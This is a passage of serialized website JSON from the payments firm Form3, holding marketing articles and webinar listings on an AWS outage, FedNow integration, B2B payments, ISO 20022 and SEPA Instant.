hours.",{"dimensions":21632,"alt":19770,"copyright":5,"url":21633,"id":21634,"edit":21635},{"width":412,"height":412},"\u002F_prismic-media\u002Fd54ea327a7871395-oq_yZ3MskwFz8bvw_built-for-the-unexpected-form3s.png","oq_yZ3MskwFz8bvw",{"x":398,"y":398,"zoom":399,"background":400},"2025-10-23",{"dimensions":21638,"alt":413,"copyright":5,"url":21639,"id":21640,"edit":21641},{"width":501,"height":646},"\u002F_prismic-media\u002F94e941a0ceaf3c24-262KiWcRFBh68T6y_aBCz_vIqRLdaBtH-_Form3_SEO_Ligh.jpg","262KiWcRFBh68T6y",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[21648],{"variation":437,"version":438,"items":21649,"primary":21650,"id":21686,"slice_type":468,"slice_label":5},[],{"body":21651},[21652,21655,21659,21664,21669,21672,21676,21683],{"type":25,"text":21653,"spans":21654,"direction":445},"On Monday 20th October, AWS experienced a significant outage in its US-East-1 (Northern Virginia) region - a vivid reminder of how deeply the modern internet depends on cloud infrastructure. The impact reached far beyond the US: ripple effects were felt globally, including in the UK, where many well-known platforms went dark for hours. ",[],{"type":25,"text":21656,"spans":21657,"direction":445},"During the first phase of the disruption, our multi-cloud platform continued to process payments in AWS without any interruption. But the story didn’t end there. ",[21658],{"start":6780,"end":19923,"type":593},{"type":25,"text":21660,"spans":21661,"direction":445},"A few hours later, while AWS continued to recover services, their internal EC2 subsystems became increasingly strained under a surge in internal network traffic, triggering a second phase of major disruption. This impacted backend connectivity in our US environments. For several hours, our East Coast systems in AWS were unable to communicate internally. ",[21662,21663],{"start":14740,"end":3402,"type":593},{"start":10862,"end":10671,"type":593},{"type":25,"text":21665,"spans":21666,"direction":445},"In response, our engineering teams initiated preparations to fail over to GCP - a process designed for our US active\u002Fpassive architecture. Before the failover completed, AWS restored connectivity, and normal service resumed. ",[21667,21668],{"start":628,"end":855,"type":593},{"start":782,"end":9205,"type":593},{"type":25,"text":21670,"spans":21671,"direction":445},"The incident validated both sides of our resilience approach: our ability to maintain uninterrupted service during a major regional cloud outage, and our readiness to recover quickly if a deeper failure occurs. ",[],{"type":25,"text":21673,"spans":21674,"direction":445},"Achieving this resilience required deliberate design decisions. We take a light-touch approach to cloud-specific services, using each provider primarily for compute capacity. The critical technologies our platform relies on are owned, operated, and managed by our engineering teams. This not only enables true portability across clouds but also reduces our exposure when large-scale events - like the AWS outage - occur. ",[21675],{"start":2223,"end":19436,"type":593},{"type":25,"text":21677,"spans":21678,"direction":445},"This isn’t the first time we’ve seen the benefits of that approach. When GCP experienced an outage earlier this year, our systems remained unaffected. Outages happen - whether in AWS, GCP, or any other provider - but with the right architecture, they don’t have to become business-critical incidents. ",[21679,21682],{"start":3089,"end":19148,"type":489,"data":21680},{"link_type":491,"url":21681,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fnews\u002Fpayment-insights\u002Fgcp",{"start":14326,"end":4589,"type":593},{"type":25,"text":21684,"spans":21685,"direction":445},"At Form3, we believe flexibility, control, and resilience aren’t just design goals - they’re the foundation for keeping payments moving when the unexpected happens. ",[],"rich_text$885a519b-4d58-422a-a1c9-d40b48a92a28",{"id":21688,"uid":21689,"type":3743,"data":21690},"alz0QBEAACsAUWVn","why-corporate-treasurers-should-care-about-the-tech-their-banks-are-using",{"title":21691,"excerpt":21692,"card_image":21693,"published_date":21694,"reading_time":1633,"tag":3751,"dek":21692,"featured_image":21695,"about_form3":21696,"client_about_heading":5,"client_about_body":21697,"author_name":5,"author_title":5,"author_photo":21698,"author_bio":21699,"author_linkedin":21700,"slices":21701,"meta_title":21691,"meta_description":21692},"Why Corporate Treasurers should care about the tech their banks are using","An understanding of the engine room will give insight into the quality of the outcomes.",{},"2021-06-07",{},[],[],{},[],{"link_type":434},[21702],{"variation":437,"version":438,"items":21703,"primary":21704,"id":21737,"slice_type":468,"slice_label":5},[],{"body":21705},[21706,21713,21716,21719,21722,21725,21728,21731,21734],{"type":25,"text":21707,"spans":21708},"A while back I wrote about the slow pace of payment modernisation (https:\u002F\u002Fwww.linkedin.com\u002Fpulse\u002Fpayments-users-needs-evolving-payment-processing-hasnt-mark-staunton\u002F). I wrote this as a retail banking customer, comparing my direct experiences of the payments journey.  I’m not a heavy payments user – a few direct debits per month, a few transfers, and cards for most purchases – but I do see the gaps in the user experience.",[21709],{"start":2397,"end":21710,"type":489,"data":21711},167,{"link_type":491,"url":21712,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fpulse\u002Fpayments-users-needs-evolving-payment-processing-hasnt-mark-staunton\u002F",{"type":25,"text":21714,"spans":21715},"Imagine though for a moment that you are responsible for tens of thousands of payments and receipts per day, in multiple currencies across many countries.  You still want the same outcomes – transparency, speed, low cost – but the implications of not getting these amplify exponentially.  Have you enough funds in the right currency on the right account?  Have you over-bought foreign currency and the rate has now gone against you?  Did your supplier receive payment and release the goods?",[],{"type":25,"text":21717,"spans":21718},"As a corporate treasurer you rely heavily on your banks.  You likely have more than one, maybe even multiple banks for each currency.  So you spend time and effort integrating to each bank, adapting to their reporting formats, their online interfaces, the processing timelines.  You may have been convinced ISO20022 would give you consistency; you may have even flirted with banking solutions adapted for corporates.",[],{"type":25,"text":21720,"spans":21721},"But do you know much about the technology your banks use?  And should you care?",[],{"type":25,"text":21723,"spans":21724},"Frankly, yes you should!  The ability for banks to provide you the outcomes you need to run your business is directly enhanced or constrained by the underlying infrastructure.  How is this?  It comes down to two things: cost and simplicity.  With high run-the-bank costs for legacy tech, investment in the customer interface is drastically limited. ",[],{"type":25,"text":21726,"spans":21727},"Few banks have the scale and technology focus to provide a full end-to-end process which meets all industry change needs while delighting their customers.  And with disparate platforms between banks, sometimes even between branches of the same bank, there is little consistency in the customer experience, which puts a lot more of the effort on you to adapt to them.",[],{"type":25,"text":21729,"spans":21730},"The flip side of this is what modern payments technology can do.  Focused technology providers can reduce the back-end overhead for banks, with services that are always up to date, provide a lower operational cost, insulate the banks from industry change and ensure a consistent processing experience across geographies – all of these free up banks to focus on the outcomes you require. ",[],{"type":25,"text":21732,"spans":21733},"And this is on top of all the benefits the latest fully cloud native technology provides over old on-premise infrastructure; no planned maintenance outages, improved resilience and disaster recovery across multiple locations and dynamic scalability to handle unpredictable volumes in an ever changing market.",[],{"type":25,"text":21735,"spans":21736},"So next time you speak to your bank, ask them about their tech.  Their response will give you an indication if they can really deliver what you need to run your business.",[],"rich_text$796f22b7-3db6-43de-9957-dc65b8bf9a42",{"id":21739,"uid":21740,"type":3743,"data":21741},"alzzPBEAACoAUWLz","gated-content-rethinking-testing-strategies-for-real-time-payments",{"title":21742,"excerpt":21743,"card_image":21744,"published_date":21750,"reading_time":1066,"tag":729,"dek":5,"featured_image":21751,"about_form3":21756,"client_about_heading":5,"client_about_body":21757,"author_name":5,"author_title":5,"author_photo":21758,"author_bio":21759,"author_linkedin":21760,"slices":21761,"meta_title":21742,"meta_description":21743},"Rethinking Testing Strategies for Real-Time Payments","Testing software is a critical point to help your financial institution ensure a smooth transition into instant payments. Testing current end-to-end payment workflows will allow banks to understand how real-time payments work within their system as opposed to batch-based payments. In this video, learn how to get a head start for FedNow by testing the APIs and interaction with your financial institution.",{"dimensions":21745,"alt":21746,"copyright":5,"url":21747,"id":21748,"edit":21749},{"width":412,"height":412},"Real-Time Payments","\u002F_prismic-media\u002F39d79c2a6d0c39d7-gtcJOv_0AhV63w8p_gated-content-rethinking-testin.jpg","gtcJOv_0AhV63w8p",{"x":398,"y":398,"zoom":399,"background":650},"2023-06-20",{"dimensions":21752,"alt":21746,"copyright":5,"url":21753,"id":21754,"edit":21755},{"width":501,"height":646},"\u002F_prismic-media\u002Fd4332cf5545aeb12-e7emiNR5iK6WbAQA_ef351dce-eb4f-41f5-8956-4a2c127.png","e7emiNR5iK6WbAQA",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[21762,21769],{"variation":437,"version":438,"items":21763,"primary":21764,"id":21768,"slice_type":468,"slice_label":5},[],{"body":21765},[21766],{"type":25,"text":21743,"spans":21767},[],"rich_text$653c1c39-8dab-4778-9719-aef16f4c60b7",{"variation":437,"version":438,"items":21770,"primary":21771,"id":21783,"slice_type":468,"slice_label":5},[],{"body":21772},[21773,21775,21779],{"type":746,"text":21602,"spans":21774},[],{"type":3373,"text":21776,"spans":21777},"Miriam Sheril, Head of Product - US\nFORM3",[21778],{"start":398,"end":1951,"type":593},{"type":3373,"text":21780,"spans":21781},"Amy Shelton, FedNow Product Manager \nThe FEDERAL RESERVE",[21782],{"start":398,"end":602,"type":593},"rich_text$716e154e-ab53-4a5e-b8f9-1fd0804cf12e",{"id":21785,"uid":21786,"type":3743,"data":21787},"alzzXBEAACwAUWM_","gated-content-decoding-the-sepa-instant-mandate",{"title":21788,"excerpt":21789,"card_image":21790,"published_date":21796,"reading_time":9211,"tag":6178,"dek":5,"featured_image":21797,"about_form3":21803,"client_about_heading":5,"client_about_body":21804,"author_name":5,"author_title":5,"author_photo":21805,"author_bio":21806,"author_linkedin":21807,"slices":21808,"meta_title":21788,"meta_description":21789},"Beyond the Basics: Decoding the SEPA Instant Mandate and its impact on the Future of European Payments","Join us for an engaging and informative webinar that delves into the world of the SEPA Instant Mandate and its impact on Europe's payment ecosystem. During this session, our expert panel will discuss the innovative economic models banks are exploring to account for the lowering prices of instant transfers, including value-added services and payment flow efficiencies. They will also address the market changes introduced by the mandate, such as the acceleration of service adoption and the impact on existing SEPA Instant providers.",{"dimensions":21791,"alt":21792,"copyright":5,"url":21793,"id":21794,"edit":21795},{"width":412,"height":412},"SEPA","\u002F_prismic-media\u002Fd55b71bcd21306a0-WXfRKv8j1sCiARBO_gated-content-decoding-the-sepa.jpg","WXfRKv8j1sCiARBO",{"x":398,"y":398,"zoom":399,"background":650},"2023-05-02",{"dimensions":21798,"alt":21799,"copyright":5,"url":21800,"id":21801,"edit":21802},{"width":501,"height":646},"FedNow","\u002F_prismic-media\u002F825b9524fe2ef4e4-CG6qOMgwOn_wdC0b_ef351dce-eb4f-41f5-8956-4a2c127.png","CG6qOMgwOn_wdC0b",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[21809,21817],{"variation":437,"version":438,"items":21810,"primary":21811,"id":21816,"slice_type":468,"slice_label":5},[],{"body":21812},[21813],{"type":25,"text":21814,"spans":21815},"Join us for an engaging and informative webinar that delves into the world of the SEPA Instant Mandate and its impact on Europe's payment ecosystem. During this session, our expert panel will discuss the innovative economic models banks are exploring to account for the lowering prices of instant transfers, including value-added services and payment flow efficiencies. They will also address the market changes introduced by the mandate, such as the acceleration of service adoption and the impact on existing SEPA Instant providers.\n\nThe webinar will explore the challenges and considerations surrounding sanction screening and the necessity for daily account list screenings and IBAN name checks. Finally, we'll examine the future of Request for Pay in Europe, discussing the potential adoption of a European CoP or R2P implementation and the lessons learned from leading markets. Don't miss this opportunity to deepen your understanding of the SEPA Instant Mandate and its far-reaching implications for the European payment landscape.",[],"rich_text$050b6892-e291-444e-9e33-05adf649c1aa",{"variation":437,"version":438,"items":21818,"primary":21819,"id":21839,"slice_type":468,"slice_label":5},[],{"body":21820},[21821,21823,21827,21831,21835],{"type":746,"text":21602,"spans":21822},[],{"type":3373,"text":21824,"spans":21825},"Erik Alstromer, Head of Product, Europe\nFORM3",[21826],{"start":398,"end":2987,"type":593},{"type":3373,"text":21828,"spans":21829},"Zhilla Noorbakhsh, Global IT Area Lead - SEPA Payments Processing\nING NEDERLAND",[21830],{"start":398,"end":6911,"type":593},{"type":3373,"text":21832,"spans":21833},"Katja Heyder, Head of User Relations \nEBA CLEARING",[21834],{"start":398,"end":2707,"type":593},{"type":3373,"text":21836,"spans":21837},"Paul Horlock, Chief Payments Officer \nSANTANDER UK",[21838],{"start":398,"end":2707,"type":593},"rich_text$12c901d2-b96f-457a-ac58-34bbbe682d38",{"id":21841,"uid":21842,"type":3743,"data":21843},"alzzBREAACsAUWJ2","fednow-is-live-but-banks-face-integration-decisions",{"title":21844,"excerpt":21845,"card_image":21846,"published_date":21851,"reading_time":418,"tag":5813,"dek":21852,"featured_image":21853,"about_form3":21858,"client_about_heading":5,"client_about_body":21859,"author_name":5,"author_title":5,"author_photo":21860,"author_bio":21861,"author_linkedin":21862,"slices":21863,"meta_title":21844,"meta_description":21845},"FedNow is live but banks face integration decisions","For banks eyeing what they must do to get on board the FedNow Service to meet customers’ expectations for faster payments and integrate with the first new payments rails in the United States in four decades — the challenges are numerous. Form3 Chief Operating Officer Eimear O’Connor said in an interview with PYMNTS that some lessons have already been learned outside of the U.S., particularly in Europe, where real-time payments have been a mainstay.",{"dimensions":21847,"alt":21799,"copyright":5,"url":21848,"id":21849,"edit":21850},{"width":412,"height":412},"\u002F_prismic-media\u002F33de3926fa2fb9f0-skj3gTN-rOtYEEg__fednow-is-live-but-banks-face-i.png","skj3gTN-rOtYEEg_",{"x":398,"y":398,"zoom":399,"background":400},"2023-08-31","For banks eyeing what they must do to get on board the FedNow Service to meet customers’ expectations for faster payments and integrate with the first new payments rails in the United States in four decades — the challenges are numerous.Form3 Chief Operating Officer Eimear O’Connor said in an interview with PYMNTS that some lessons have already been learned outside of the U.S., particularly in Europe, where real-time payments have been a mainstay.",{"dimensions":21854,"alt":21799,"copyright":5,"url":21855,"id":21856,"edit":21857},{"width":501,"height":646},"\u002F_prismic-media\u002Fbe51d90b5b97baa5-og9LU3fbVOK0GsC3_ef351dce-eb4f-41f5-8956-4a2c127.png","og9LU3fbVOK0GsC3",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[21864,21873,21884,21922,21945],{"variation":437,"version":438,"items":21865,"primary":21866,"id":21872,"slice_type":2058,"slice_label":5},[],{"headline":5,"sub_headline":5,"embed":21867,"caption":5},{"embed_url":21868,"provider_name":283,"provider_url":2050,"title":21869,"author_name":413,"author_url":284,"type":2048,"height":2055,"width":2056,"version":2049,"thumbnail_height":2053,"thumbnail_width":2052,"thumbnail_url":21870,"html":21871},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=_NZKiJ9bafI","FedNow Is live but banks face integration decisions","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002F_NZKiJ9bafI\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002F_NZKiJ9bafI?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"FedNow Is live but banks face integration decisions\">\u003C\u002Fiframe>","embed$e7482a50-d5fa-45d1-9234-94ce659eff24",{"variation":437,"version":438,"items":21874,"primary":21875,"id":21883,"slice_type":468,"slice_label":5},[],{"body":21876},[21877,21880],{"type":25,"text":21878,"spans":21879},"“What we’ve seen in other markets is that the biggest integration challenge for many banks and financial institutions is not so much the access to the new payment system itself,” she said, contending that “the biggest challenges are more often than not within the bank’s own internal systems and processes within their back offices.”",[],{"type":25,"text":21881,"spans":21882},"Those legacy systems were never deployed to operate in a real-time environment, she said.",[],"rich_text$890cfefa-1538-47b3-a04d-9f6ef15df6bb",{"variation":437,"version":438,"items":21885,"primary":21886,"id":21921,"slice_type":468,"slice_label":5},[],{"body":21887},[21888,21891,21894,21897,21900,21903,21906,21909,21912,21915,21918],{"type":746,"text":21889,"spans":21890},"Making the Necessary Updates",[],{"type":25,"text":21892,"spans":21893},"“If banks haven’t yet made that investment to update their back offices to implement modern cores and platforms, this is where the integration challenges are by far the greatest,” O’Connor said.",[],{"type":25,"text":21895,"spans":21896},"The banks that have yet to modernize their back offices will find it daunting to meet customers’ expectations and demand for immediate experiences delivered through an app setting, along with immediate access to funds and the ability to have a real-time snapshot of their financial position, she said.",[],{"type":25,"text":21898,"spans":21899},"A platform approach and enlisting providers’ efforts (including Form3) can help smooth the onboarding process for financial institutions (FIs) as they embrace the FedNow Service, said O’Connor.",[],{"type":25,"text":21901,"spans":21902},"Form3 “is focused on the provision of non-proprietary functionality to all banks on the platform,” she said.",[],{"type":25,"text":21904,"spans":21905},"That functionality involves access but also payments orchestration and the data flows that all banks need to innovate, she explained.",[],{"type":25,"text":21907,"spans":21908},"“This is the infrastructure that provides the basis for those banks to package and create individual customer propositions for their own users,” she said.",[],{"type":25,"text":21910,"spans":21911},"The company is in the process of rolling out a multicloud platform that provides the added benefit of running “across” several providers simultaneously, which improves resilience, she said.",[],{"type":25,"text":21913,"spans":21914},"“Banks can truly outsource the burden of running the technology — not only now, but also ensuring that it evolves to meet the future needs of both the banks themselves and also the schemes that they’re connected to,” said O’Connor, who added that security is also built into the platform.",[],{"type":25,"text":21916,"spans":21917},"Fraud is top of mind for any FI connecting to the FedNow platform — for, as the saying goes, where there are faster payments, faster fraud will follow.",[],{"type":25,"text":21919,"spans":21920},"“Banks will be absolutely focused on how to ensure that security is built in right from the beginning” of product, service initiatives and payments scale across the FedNow Service, said O’Connor, “rather than perhaps as it used to be historically, which was much more of a control function at the end of a development cycle.”",[],"rich_text$713d71ec-e896-4318-a47f-2de695b8616c",{"variation":437,"version":438,"items":21923,"primary":21924,"id":21944,"slice_type":468,"slice_label":5},[],{"body":21925},[21926,21929,21932,21935,21938,21941],{"type":746,"text":21927,"spans":21928},"The Importance of Data",[],{"type":25,"text":21930,"spans":21931},"Underpinning it all is data, and as more banks sign on to the FedNow platform, she said, it will be increasingly important to share data with their scheme counterparts, especially in a bid to stop fraudsters and head off various areas of attack, including push payment fraud (which has been a source of vulnerability, especially in the United Kingdom).",[],{"type":25,"text":21933,"spans":21934},"Banks can leverage advanced technologies, including artificial intelligence (AI), to insert fraud detection into the payment flow.",[],{"type":25,"text":21936,"spans":21937},"In the months and years ahead, banks will become increasingly comfortable with the FedNow Service and real-time payments, but there will always be room for legacy payment options that have been entrenched for decades, such as wire payments, O’Connor said.",[],{"type":25,"text":21939,"spans":21940},"A lot depends on the use cases, and, in many cases, the dollar amount of the payments (say, a real estate transaction), she explained. Some recurring payments might not require a sense of real-time urgency.",[],{"type":25,"text":21942,"spans":21943},"“The real value that banks can create for themselves lies with how they choose to productize different payment systems using the different underlying payment capabilities that they have,” she said. All the banks have the same capabilities because they will have the same infrastructure, “but it’s about how they package those up to meet the needs of their customers in different ways.”",[],"rich_text$bf8494d1-c85c-40ff-9088-d1131e286ed1",{"variation":437,"version":438,"items":21946,"primary":21947,"id":21954,"slice_type":468,"slice_label":5},[],{"body":21948},[21949],{"type":25,"text":14790,"spans":21950},[21951],{"start":9799,"end":1131,"type":489,"data":21952},{"link_type":491,"url":21953,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Freal-time-payments\u002F2023\u002Ffednow-is-live-but-banks-face-integration-decisions\u002F","rich_text$db0dbda7-30bc-4554-b2b8-42b7f0d70b43",{"id":21956,"uid":21957,"type":3743,"data":21958},"alzy2hEAAC4AUWIU","b2b-payments-need-foundational-infrastructure",{"title":21959,"excerpt":21960,"card_image":21961,"published_date":21967,"reading_time":418,"tag":5813,"dek":5,"featured_image":21968,"about_form3":21973,"client_about_heading":5,"client_about_body":21974,"author_name":5,"author_title":5,"author_photo":21975,"author_bio":21976,"author_linkedin":21977,"slices":21978,"meta_title":21959,"meta_description":21960},"B2B Payments Need ‘Foundational Infrastructure Layer’ as Faster Account-to-Account Beckons","The business payments landscape was stable for decades, Form3 CEO Mike Walters told Karen Webster. Regular ACH payments were the norm, and any pain points and frictions were rooted in the vagaries of manual processes and paper invoicing. “Not a lot changed for a long time,” he said.",{"dimensions":21962,"alt":21963,"copyright":5,"url":21964,"id":21965,"edit":21966},{"width":412,"height":412},"B2B Payments","\u002F_prismic-media\u002F6393d4e1c4db2ca9-0aLM2KFXnuAKR4jI_b2b-payments-need-foundational-.png","0aLM2KFXnuAKR4jI",{"x":398,"y":398,"zoom":399,"background":400},"2023-11-14",{"dimensions":21969,"alt":21963,"copyright":5,"url":21970,"id":21971,"edit":21972},{"width":501,"height":646},"\u002F_prismic-media\u002F534398c78005b652-HI9j1TgczAwU_AN1_ef351dce-eb4f-41f5-8956-4a2c127.png","HI9j1TgczAwU_AN1",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[21979,22018,22029,22061],{"variation":437,"version":438,"items":21980,"primary":21981,"id":22017,"slice_type":468,"slice_label":5},[],{"body":21982},[21983,21986,21989,21992,21995,21998,22005,22008,22011,22014],{"type":25,"text":21984,"spans":21985},"The business payments landscape was stable for decades, Form3 CEO Mike Walters told Karen Webster.",[],{"type":25,"text":21987,"spans":21988},"Regular ACH payments were the norm, and any pain points and frictions were rooted in the vagaries of manual processes and paper invoicing.",[],{"type":25,"text":21990,"spans":21991},"“Not a lot changed for a long time,” he said.",[],{"type":25,"text":21993,"spans":21994},"And while it’s true that innovation comes slowly to the B2B realm, change does come. As is often the case, it’s informed by consumer-facing advances in technologies and new payment form factors. Consumer enthusiasm for credit cards helped bring commercial cards into more widespread use.",[],{"type":25,"text":21996,"spans":21997},"As buyers wielded cards more often in a commercial setting, payments got faster, and the information flows surrounding those payments became more robust with the aid of procurement solutions and electronic invoicing.",[],{"type":25,"text":21999,"spans":22000},"Now, as 2023 gives way to 2024, the next seismic shift in B2B looks set to come with account-to-account transactions, rendered in real time, as messaging standards coalesce around ISO 20022. Account-to-account functionality, added Walters, has the potential to fundamentally alter the user journeys across all verticals, spanning rental payments, utility bills, buying inventory and paying vendors.",[22001],{"start":22002,"end":3305,"type":489,"data":22003},191,{"link_type":491,"url":22004,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Ftag\u002Fform3\u002F",{"type":25,"text":22006,"spans":22007},"“There’s increasing value in speed and efficiency, especially for those who need to borrow at scale” or have real-time visibility into where payments are and when they’ll hit an account, he said.",[],{"type":25,"text":22009,"spans":22010},"It’s hard to innovate and gain the full benefits from account-to-account functionalities when new digital experiences, in Walter’s telling of it, “crash into 30-year-old technology stacks.”",[],{"type":25,"text":22012,"spans":22013},"Ad hoc payments and payments exceptions are revealing the limitations of antiquated technology, noted Walters. Interest rates look set to remain “higher for longer,” and geopolitical and other events leading to supply chain shock are creating catalysts for B2B payments change.",[],{"type":25,"text":22015,"spans":22016},"For the FinTechs and financial institutions seeking to improve back-end accounts payable and accounts receivable processes, creating new business models in the process, the key approach will be one where technology investments will not chase a few use cases.",[],"rich_text$ba5577b1-a9dc-42d6-a778-c66b830be98d",{"variation":437,"version":438,"items":22019,"primary":22020,"id":22028,"slice_type":468,"slice_label":5},[],{"body":22021},[22022],{"type":25,"text":22023,"spans":22024},"Watch: https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=https:\u002F\u002Fvimeo.com\u002F896894688",[22025],{"start":1130,"end":14740,"type":489,"data":22026},{"link_type":491,"url":22027},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=https:\u002F\u002Fvimeo.com\u002F896894688","rich_text$cbf129ed-464c-473b-80df-7bcd0ec1cb5b",{"variation":437,"version":438,"items":22030,"primary":22031,"id":22060,"slice_type":468,"slice_label":5},[],{"body":22032},[22033,22036,22039,22042,22045,22048,22051,22054,22057],{"type":746,"text":22034,"spans":22035},"Seeking a Foundational Layer",[],{"type":25,"text":22037,"spans":22038},"The markets will determine which use cases gain ground, said Walters, who added it’s impossible to plan for every type of transaction. What’s needed is philosophical in nature: “A foundational layer of infrastructure that runs at speed,” he said.",[],{"type":25,"text":22040,"spans":22041},"That infrastructure promotes broad reach and accessibility as different types of payments scale and attain critical mass, he said.",[],{"type":25,"text":22043,"spans":22044},"The challenge is significant for B2B payments where the infrastructure is fractured, and network effects remain blunted, he said.",[],{"type":25,"text":22046,"spans":22047},"ISO 20022, Webster noted, introduces a “common language” of information conveyed between senders and receivers that can pave the way for the network effect. But Walters cautioned that with those standards in place, “they need to start dealing solely with messaging and start understanding the data and information in a transaction … and a narrative evolves.”",[],{"type":25,"text":22049,"spans":22050},"The parallel might be drawn from the card networks, as the data harnessed over the years (especially level 2 and 3 data) have led to actionable insights and new use cases, he said.",[],{"type":25,"text":22052,"spans":22053},"In looking ahead, with a nod to account-to-account transactions, he said, “this is not a technology looking for a problem; it’s a fundamental change in technology that already has a whole range of different problems that can be satisfied by different types of organizations.”",[],{"type":25,"text":22055,"spans":22056},"The problem-solving may be best addressed by collaboration between buyers and suppliers as each side of the B2B equation seeks to maximize liquidity and capital positions, he said. Advanced technologies, such as artificial intelligence, will improve security surrounding the payments themselves and help create a faster, cheaper microsystem of payments. Sustained investment in infrastructure on the part of banks and FinTechs will transform B2B.",[],{"type":25,"text":22058,"spans":22059},"“The consolidation of use cases, even businesses and the scaling of payment flows are going to be a game changer for the market,” he told Webster, adding that “there will be much less fragmentation.”",[],"rich_text$c1734838-b6c0-4df6-ab3f-0541c2ab9d43",{"variation":437,"version":438,"items":22062,"primary":22063,"id":22070,"slice_type":468,"slice_label":5},[],{"body":22064},[22065],{"type":25,"text":14790,"spans":22066},[22067],{"start":9799,"end":1131,"type":489,"data":22068},{"link_type":491,"url":22069,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Fnews\u002Fb2b-payments\u002F2023\u002Fb2b-payments-need-foundational-infrastructure-layer-faster-account-beckons\u002F","rich_text$6b672a03-dcf2-4d73-a285-6bec5ab9ae07",{"id":22072,"uid":22073,"type":3743,"data":22074},"alzy4REAACgAUWIj","unleash-the-power-of-iso-20022",{"title":22075,"excerpt":22076,"card_image":22077,"published_date":22083,"reading_time":9211,"tag":6178,"dek":5,"featured_image":22084,"about_form3":22089,"client_about_heading":5,"client_about_body":22090,"author_name":5,"author_title":5,"author_photo":22091,"author_bio":22092,"author_linkedin":22093,"slices":22094,"meta_title":22075,"meta_description":22076},"Unleash the power of ISO 20022 to unify FedNow, RTP, Fedwire, and CHIPS","Although ISO20022 is a global standard, approaches to its implementation can vary. Join Form3 to explore the distinctions within today’s payment environment and discover strategies for achieving a seamless integration. Our expert panelists cover topics such as the advantages of ISO 20022, key considerations, and technologies to facilitate implementation.",{"dimensions":22078,"alt":22079,"copyright":5,"url":22080,"id":22081,"edit":22082},{"width":412,"height":412},"Payment platform image","\u002F_prismic-media\u002Fc8759721e438c60a-3ynL3CqJtjjXEmbK_unleash-the-power-of-iso-20022.","3ynL3CqJtjjXEmbK",{"x":398,"y":398,"zoom":399,"background":650},"2023-11-06",{"dimensions":22085,"alt":21799,"copyright":5,"url":22086,"id":22087,"edit":22088},{"width":501,"height":646},"\u002F_prismic-media\u002F2760f0ddbb90fb17-rRcAcXQ8ftehbwP0_ef351dce-eb4f-41f5-8956-4a2c127.png","rRcAcXQ8ftehbwP0",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[22095,22106],{"variation":437,"version":438,"items":22096,"primary":22097,"id":22105,"slice_type":468,"slice_label":5},[],{"body":22098},[22099,22102],{"type":25,"text":22100,"spans":22101},"Although ISO 20022 is a global standard, approaches to its implementation can vary. Explore the distinctions within today’s payment environment and discover strategies for achieving a seamless integration in our latest webinar. Our expert panelists will cover topics such as the advantages of ISO 20022, key considerations, and technologies to facilitate implementation.  ",[],{"type":25,"text":22103,"spans":22104},"By utilizing messaging standards across all payment channels, banks and their customers stand to gain significant advantages. Join The Clearing House and Truist in this session, which aims to equip you with the knowledge required to fully leverage the potential that ISO 20022 has to offer. ",[],"rich_text$ebc213d4-cacc-4555-81f7-3be6bdc6dde5",{"variation":437,"version":438,"items":22107,"primary":22108,"id":22127,"slice_type":468,"slice_label":5},[],{"body":22109},[22110,22112,22115,22119,22123],{"type":746,"text":21602,"spans":22111},[],{"type":3373,"text":21776,"spans":22113},[22114],{"start":398,"end":1951,"type":593},{"type":3373,"text":22116,"spans":22117},"Richard Dzina, Senior Vice President, Product Development\nTHE CLEARING HOUSE",[22118],{"start":398,"end":1951,"type":593},{"type":3373,"text":22120,"spans":22121},"Deepmala Khubchandani, SVP, Enterprise Payments Portfolio Management\nTRUIST",[22122],{"start":398,"end":703,"type":593},{"type":3373,"text":22124,"spans":22125},"Frank Van Driessche, AVP, Head of ISO 20022, FedNow Product Management \nTHE FEDERAL RESERVE BANK OF NEW YORK",[22126],{"start":398,"end":6262,"type":593},"rich_text$6c8e9e85-4a67-4eb2-9e51-2c8bf24071db",{"id":22129,"uid":22130,"type":3743,"data":22131},"alz0FBEAACgAUWT8","our-culture-of-continuous-learning",{"title":22132,"excerpt":22133,"card_image":22134,"published_date":22139,"reading_time":643,"tag":3751,"dek":22133,"featured_image":22140,"about_form3":22141,"client_about_heading":5,"client_about_body":22142,"author_name":5,"author_title":5,"author_photo":22143,"author_bio":22144,"author_linkedin":22145,"slices":22146,"meta_title":22132,"meta_description":22133},"Our culture of continuous learning","Kevin Crawford, Senior Learning & Development Partner at Form3, provides insight into our culture of continuous learning.",{"dimensions":22135,"alt":22132,"copyright":5,"url":22136,"id":22137,"edit":22138},{"width":412,"height":412},"\u002F_prismic-media\u002F3e993acedbc977f1-eiJFGPhpEzvWGpWa_our-culture-of-continuous-learn.png","eiJFGPhpEzvWGpWa",{"x":398,"y":398,"zoom":399,"background":400},"2022-05-20",{},[],[],{},[],{"link_type":434},[22147],{"variation":437,"version":438,"items":22148,"primary":22149,"id":22215,"slice_type":468,"slice_label":5},[],{"body":22150},[22151,22154,22157,22160,22163,22166,22169,22172,22175,22178,22181,22184,22194,22197,22200,22203,22206,22209,22212],{"type":25,"text":22152,"spans":22153},"At Form3 we like to think differently. Creativity and curiosity are values we celebrate, this helps to create an environment where norms can be challenged, and new ideas embraced.",[],{"type":25,"text":22155,"spans":22156},"The challenge is sustaining this as we continue to scale-up in an increasingly competitive digital marketplace. One solution is to embed and encourage a culture of continuous learning. Let’s take a look at why this is so important and what it means for life at 